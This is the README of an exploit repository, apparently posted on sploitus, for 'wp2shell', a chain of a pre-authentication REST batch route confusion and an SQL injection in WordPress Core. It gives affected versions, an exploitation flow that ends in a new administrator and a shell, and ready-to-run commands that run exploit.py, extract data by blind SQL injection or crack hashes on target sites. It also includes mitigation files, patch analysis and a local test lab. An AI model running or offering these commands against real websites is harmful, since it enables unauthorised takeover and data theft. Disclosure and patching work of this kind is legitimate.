Share
## https://sploitus.com/exploit?id=C6E05E0A-FA04-556A-83D6-46B334902336
# wp2shell โ€” WordPress Core Pre-Auth RCE

**CVE-2026-63030** (Batch Route Confusion, CVSS 7.5) + **CVE-2026-60137** (SQL Injection, CVSS 9.1)

A pre-authentication remote code execution chain in WordPress Core that requires no plugins, no special configuration, and works on default installs.

---

## Affected Versions

| Version Range | Impact | Fixed In |
|---------------|--------|----------|
| WordPress 7.0.0 โ€“ 7.0.1 | Full RCE | 7.0.2 |
| WordPress 6.9.0 โ€“ 6.9.4 | Full RCE | 6.9.5 |
| WordPress 6.8.0 โ€“ 6.8.5 | SQL Injection only | 6.8.6 |

**Precondition:** No persistent object cache (Redis/Memcached). This is the default configuration for the vast majority of WordPress installations.

---

## Vulnerability Summary

The exploit chains two vulnerabilities:

1. **REST API Batch Route Confusion** โ€” A malformed path in a batch sub-request causes `wp_parse_url()` to return false, creating a `WP_Error` that desynchronizes the `$matches[]` and `$requests[]` arrays. Subsequent requests are dispatched against wrong handlers, bypassing authentication.

2. **SQL Injection in WP_Query** โ€” When `author__not_in` is passed as a string (not array), `absint()` sanitization is skipped and the raw value is interpolated directly into the SQL WHERE clause.

Combined with WordPress's oEmbed caching system (write primitive), Customizer changeset auto-publishing (privilege escalation), and REST API re-entrancy (privileged dispatch), this achieves unauthenticated code execution.

---

## Repository Structure

```
wp2shell/
โ”œโ”€โ”€ README.md                          โ† This file
โ”‚
โ”œโ”€โ”€ wp2shell-exploit/                  โ† Exploitation tools
โ”‚   โ”œโ”€โ”€ exploit.py                     # Full pre-auth RCE (no password cracking)
โ”‚   โ”œโ”€โ”€ exploit_hash.py                # Hash extraction + authenticated RCE
โ”‚   โ”œโ”€โ”€ detect.py                      # Non-destructive vulnerability scanner
โ”‚   โ””โ”€โ”€ README.md
โ”‚
โ”œโ”€โ”€ wp2shell-patch/                    โ† Remediation
โ”‚   โ”œโ”€โ”€ patch.sh                       # Source code patch (mirrors official fix)
โ”‚   โ”œโ”€โ”€ wp2shell-shield.php            # Drop-in mu-plugin (30-second deploy)
โ”‚   โ”œโ”€โ”€ block-batch.conf               # Nginx mitigation
โ”‚   โ”œโ”€โ”€ block-batch.htaccess           # Apache mitigation
โ”‚   โ””โ”€โ”€ README.md
โ”‚
โ”œโ”€โ”€ docker-compose.yml                 # Vulnerable test environment (WP 7.0.1)
โ””โ”€โ”€ Dockerfile.debug                   # XDebug-enabled image for research
```

> WordPress source is not included. Download from https://wordpress.org/download/releases/ (7.0.1 for vulnerable, 7.0.2 for patched).

---

## Quick Start

### Detection (safe, non-destructive)

```bash
cd wp2shell-exploit

# Single target
python3 detect.py https://target.example

# With SQL injection timing confirmation
python3 detect.py https://target.example --confirm-sqli

# Batch scan from file
python3 detect.py targets.txt -q
```

### Exploitation

```bash
# Full pre-auth RCE (recommended โ€” no password cracking needed)
python3 exploit.py https://target.example -c "id"

# Just extract data via blind SQLi
python3 exploit.py https://target.example "SELECT user_login FROM wp_users LIMIT 1"

# Alternative: extract hash + crack + auth RCE
python3 exploit_hash.py https://target.example
# Then after cracking:
python3 exploit_hash.py https://target.example --user admin --pass cracked_pw -c "id"
```

### Remediation

```bash
cd wp2shell-patch

# Option 1: Drop-in plugin (fastest, no restart needed)
cp wp2shell-shield.php /path/to/wordpress/wp-content/mu-plugins/

# Option 2: Web server block
# Nginx: include block-batch.conf in server block
# Apache: prepend block-batch.htaccess to .htaccess

# Option 3: Source patch (complete fix)
sudo bash patch.sh /path/to/wordpress

# Best option: just update WordPress
wp core update  # or Dashboard โ†’ Updates
```

---

## Exploitation Chain

```
                    โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
                    โ”‚  Anonymous HTTP Request      โ”‚
                    โ”‚  POST /?rest_route=/batch/v1 โ”‚
                    โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
                                   โ”‚
                    โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ–ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
                    โ”‚  Batch Desync (outer)        โ”‚
                    โ”‚  Malformed path โ†’ WP_Error   โ”‚
                    โ”‚  $matches[] array shifts     โ”‚
                    โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
                                   โ”‚
                    โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ–ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
                    โ”‚  Steal /batch/v1 handler     โ”‚
                    โ”‚  (no permission_callback!)   โ”‚
                    โ”‚  โ†’ nested batch executes     โ”‚
                    โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
                                   โ”‚
                    โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ–ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
                    โ”‚  Batch Desync (inner)        โ”‚
                    โ”‚  GET methods now allowed     โ”‚
                    โ”‚  author_exclude unsanitized  โ”‚
                    โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
                                   โ”‚
              โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
              โ”‚                    โ”‚                    โ”‚
   โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ–ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ” โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ–ผโ”€โ”€โ”€โ”€โ”€โ”€โ” โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ–ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
   โ”‚ Phase 1: oEmbed     โ”‚ โ”‚ Phase 2:    โ”‚ โ”‚ Phase 3: Escalation โ”‚
   โ”‚ UNION SELECT fake   โ”‚ โ”‚ Blind SQLi  โ”‚ โ”‚ Cache poison +      โ”‚
   โ”‚ post with [embed]   โ”‚ โ”‚ extract IDs โ”‚ โ”‚ Changeset publish   โ”‚
   โ”‚ โ†’ WP creates cache  โ”‚ โ”‚ + admin ID  โ”‚ โ”‚ โ†’ wp_set_current_   โ”‚
   โ”‚ posts (write prim.) โ”‚ โ”‚             โ”‚ โ”‚   user(admin)       โ”‚
   โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜ โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜ โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
                                                       โ”‚
                                        โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ–ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
                                        โ”‚  Re-entrancy                โ”‚
                                        โ”‚  parse_request triggers     โ”‚
                                        โ”‚  serve_request() re-entry   โ”‚
                                        โ”‚  โ†’ now running as admin!    โ”‚
                                        โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
                                                       โ”‚
                                        โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ–ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
                                        โ”‚  POST /wp/v2/users          โ”‚
                                        โ”‚  Creates new administrator  โ”‚
                                        โ”‚  โ†’ Login โ†’ Plugin โ†’ Shell   โ”‚
                                        โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
```

---

## Patch Analysis

WordPress 6.9.5 / 7.0.2 applies three fixes that each break one link in the chain:

| Fix | File | Effect |
|-----|------|--------|
| Array alignment | `class-wp-rest-server.php` | `$matches[] = $single_request` for WP_Error entries โ€” prevents desync |
| Re-entrancy guard | `class-wp-rest-server.php` + `rest-api.php` | `if ($this->is_dispatching()) return false` โ€” prevents nested serve_request |
| SQL sanitization | `class-wp-query.php` | `wp_parse_id_list()` always applied โ€” prevents injection |

WordPress 7.0.2 additionally removes the collaboration feature (defense in depth).

---

## Test Environment

```bash
# Start vulnerable WordPress 7.0.1
docker compose up -d
# Wait for MySQL to init, then install
curl -s "http://localhost:8888/wp-admin/install.php?step=2" \
  --data-urlencode "weblog_title=Test" \
  --data-urlencode "user_name=admin" \
  --data-urlencode "admin_password=TestPassword123" \
  --data-urlencode "admin_password2=TestPassword123" \
  --data-urlencode "admin_email=admin@test.local" \
  --data-urlencode "blog_public=0" \
  --data-urlencode "Submit=Install WordPress"

# Exploit
python3 wp2shell-exploit/exploit.py http://localhost:8888 -c "id"

# Clean up
docker compose down
```

---

## References

- [Searchlight Cyber Advisory](https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/)
- [Hadrian Technical Blog](https://hadrian.io/blog/wp2shell-a-pre-authentication-rce-in-wordpress-cores-rest-batch-api)
- [WordPress 7.0.2 Release](https://wordpress.org/news/2026/07/wordpress-7-0-2-release/)
- [CVE-2026-63030 (GHSA)](https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-ff9f-jf42-662q)
- [CVE-2026-60137 (GHSA)](https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-fpp7-x2x2-2mjf)

---

## Disclaimer

This repository is provided for authorized security research, penetration testing, and educational purposes only. Use only on systems you own or have explicit written permission to test.